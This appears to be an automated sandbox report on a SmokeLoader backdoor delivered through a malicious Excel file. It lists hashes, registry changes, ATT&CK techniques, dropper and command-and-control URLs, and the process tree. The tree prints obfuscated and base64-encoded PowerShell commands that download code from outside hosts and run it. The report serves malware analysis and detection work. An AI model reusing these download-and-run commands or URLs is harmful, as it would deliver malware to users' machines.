smokeloader | 2b229f4b16f55ffe0b5e19e4bcd4249f6171c5d585c3cdff2a937152b744e01e

Analysis

max time kernel
69s
max time network
20s
platform
windows7_x64
resource
win7v20201028
submitted
05-03-2021 08:35

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General

Target

ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5.xls
Size

96KB
MD5

41174d7db173c0fc4e2426f49e66dd78
SHA1

4685a3c3226371580957b3a10b5af5d5f356e798
SHA256

ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5
SHA512

9a60e2d72d3d610a08fed66fcbcf201c77ae20c852f36cd5c13c4284a7fcbacbf481da7378777fe71157d774b1a854e07c69448d3815942def8406e11915a46b

Score

10^/10

smokeloader backdoor trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://paste.ee/r/Plkrg

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://u.teknik.io/ubU1Y.txt

Extracted

Family

smokeloader

Version

2018

http://cfsmarthome.net/1/

rc4.i32

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1180	1932	powershell.exe	EXCEL.EXE

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

6 1180 powershell.exe
7 1180 powershell.exe
10 1516 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

rIFwqc.exe

pid process

1628 rIFwqc.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

1516 powershell.exe
1516 powershell.exe

flow	pid	process
6	1180	powershell.exe
7	1180	powershell.exe
10	1516	powershell.exe

pid	process
1628	rIFwqc.exe

pid	process
1516	powershell.exe
1516	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rIFwqc.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	rIFwqc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	rIFwqc.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1932 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

1180 powershell.exe
1516 powershell.exe
1516 powershell.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

rIFwqc.exe

pid process

1628 rIFwqc.exe
1628 rIFwqc.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1180 powershell.exe
Token: SeDebugPrivilege 1516 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1932 EXCEL.EXE
1932 EXCEL.EXE
1932 EXCEL.EXE

pid	process
1932	EXCEL.EXE

pid	process
1180	powershell.exe
1516	powershell.exe
1516	powershell.exe

pid	process
1628	rIFwqc.exe
1628	rIFwqc.exe

description	pid	process
Token: SeDebugPrivilege	1180	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe

pid	process
1932	EXCEL.EXE
1932	EXCEL.EXE
1932	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEpowershell.exepowershell.exe

description	pid	process	target process
PID 1932 wrote to memory of 1180	1932	EXCEL.EXE	powershell.exe
PID 1932 wrote to memory of 1180	1932	EXCEL.EXE	powershell.exe
PID 1932 wrote to memory of 1180	1932	EXCEL.EXE	powershell.exe
PID 1932 wrote to memory of 1180	1932	EXCEL.EXE	powershell.exe
PID 1180 wrote to memory of 1516	1180	powershell.exe	powershell.exe
PID 1180 wrote to memory of 1516	1180	powershell.exe	powershell.exe
PID 1180 wrote to memory of 1516	1180	powershell.exe	powershell.exe
PID 1180 wrote to memory of 1516	1180	powershell.exe	powershell.exe
PID 1516 wrote to memory of 1628	1516	powershell.exe	rIFwqc.exe
PID 1516 wrote to memory of 1628	1516	powershell.exe	rIFwqc.exe
PID 1516 wrote to memory of 1628	1516	powershell.exe	rIFwqc.exe
PID 1516 wrote to memory of 1628	1516	powershell.exe	rIFwqc.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ef76b566f621921a14be41f18a89d5b97bc3878cb5b1f1d81d668651d6126fb5.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/Plkrg')
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwAHMAOgAvAC8AdQAuAHQAZQBrAG4AaQBrAC4AaQBvAC8AdQBiAFUAMQBZAC4AdAB4AHQAHSAgACwAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAcgBJAEYAdwBxAGMALgBlAHgAZQAdICAAKQAgADsAIABzAHQAQQBSAHQAIAAdICQARQBOAHYAOgB0AGUAbQBwAFwAcgBJAEYAdwBxAGMALgBlAHgAZQAdIA==
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1516

C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe
"C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe"
4⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Suspicious behavior: MapViewOfSection
PID:1628

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcf
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
008edb41a8c41cee4384e1a1fcbc2795

SHA1
ac30093e81ebd9433bfbae07161a523054a5fd1c

SHA256
bf7f00cd401d54b53db9b63741488b29a709b719220f11d401bd018280b15057

SHA512
c4af46856dbae0bb448ff1b3a6b7ead9e922d98d2f66a1fe410287dd33d95e6a314f79e977e48aa62058c2b8be96ad44e90bc706b9931e00877afef8219dced4

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C:\Users\Admin\AppData\Local\Temp\rIFwqc.exe
MD5
9ac835c38d4d0c6466e641427a2cf8f1

SHA1
108a8b5f1eaf9ef078a3dc0210e6aa961d6b3787

SHA256
b6ec96043dba7722cac4ed24b6979fc71a758bdf18ca44353c19194c172bf621

SHA512
226480dc7c6d7f3eee39365e59cc317f203da475beb85d599fee3ae02d64306869eda37ee22076100b240904a2c15b53249efd0020deb6526639d49d4e236cc8

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
3ea2c677d6bf9735ad09c3bb021d8ea1

SHA1
e24f6a245c64c5b94520b128995bf2c7fb7d2f20

SHA256
874cbe77bd69e46e2a4d5125e68382e0686e7a83c6e8928dc1bc1fb0b7efcdb0

SHA512
5b0e7dc6929528f2b2f39f57b8d858e694f89597e294aec8d15d829ac66e1ef6570e68af77b11d4b9d65356b404853bd08187be1e19a1b939593f213fa0c79cb

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\Users\Admin\AppData\Local\Temp\rIFwqc.exe
MD5
9ac835c38d4d0c6466e641427a2cf8f1

SHA1
108a8b5f1eaf9ef078a3dc0210e6aa961d6b3787

SHA256
b6ec96043dba7722cac4ed24b6979fc71a758bdf18ca44353c19194c172bf621

SHA512
226480dc7c6d7f3eee39365e59cc317f203da475beb85d599fee3ae02d64306869eda37ee22076100b240904a2c15b53249efd0020deb6526639d49d4e236cc8

Download Submit
\Users\Admin\AppData\Local\Temp\rIFwqc.exe
MD5
9ac835c38d4d0c6466e641427a2cf8f1

SHA1
108a8b5f1eaf9ef078a3dc0210e6aa961d6b3787

SHA256
b6ec96043dba7722cac4ed24b6979fc71a758bdf18ca44353c19194c172bf621

SHA512
226480dc7c6d7f3eee39365e59cc317f203da475beb85d599fee3ae02d64306869eda37ee22076100b240904a2c15b53249efd0020deb6526639d49d4e236cc8

Download Submit
memory/1180-11-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/1180-6-0x00000000750C1000-0x00000000750C3000-memory.dmp

Filesize
8KB

Download
memory/1180-23-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1180-30-0x0000000006380000-0x0000000006381000-memory.dmp

Filesize
4KB

Download
memory/1180-31-0x0000000006470000-0x0000000006471000-memory.dmp

Filesize
4KB

Download
memory/1180-8-0x00000000048C0000-0x00000000048C1000-memory.dmp

Filesize
4KB

Download
memory/1180-21-0x0000000006110000-0x0000000006111000-memory.dmp

Filesize
4KB

Download
memory/1180-22-0x00000000063E0000-0x00000000063E1000-memory.dmp

Filesize
4KB

Download
memory/1180-9-0x0000000000930000-0x0000000000931000-memory.dmp

Filesize
4KB

Download
memory/1180-5-0x0000000000000000-mapping.dmp

Download
memory/1180-16-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

Download
memory/1180-13-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1180-12-0x00000000048C2000-0x00000000048C3000-memory.dmp

Filesize
4KB

Download
memory/1180-7-0x000000006BAC0000-0x000000006C1AE000-memory.dmp

Filesize
6.9MB

Download
memory/1180-10-0x0000000004900000-0x0000000004901000-memory.dmp

Filesize
4KB

Download
memory/1260-58-0x00000000036D0000-0x00000000036D1000-memory.dmp

Filesize
4KB

Download
memory/1260-59-0x0000000002CA0000-0x0000000002CB5000-memory.dmp

Filesize
84KB

Download
memory/1516-35-0x000000006BAC0000-0x000000006C1AE000-memory.dmp

Filesize
6.9MB

Download
memory/1516-40-0x0000000004980000-0x0000000004981000-memory.dmp

Filesize
4KB

Download
memory/1516-41-0x0000000004982000-0x0000000004983000-memory.dmp

Filesize
4KB

Download
memory/1516-32-0x0000000000000000-mapping.dmp

Download
memory/1628-55-0x0000000000000000-mapping.dmp

Download
memory/1932-2-0x000000002F181000-0x000000002F184000-memory.dmp

Filesize
12KB

Download
memory/1932-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1932-3-0x0000000070BA1000-0x0000000070BA3000-memory.dmp

Filesize
8KB

Download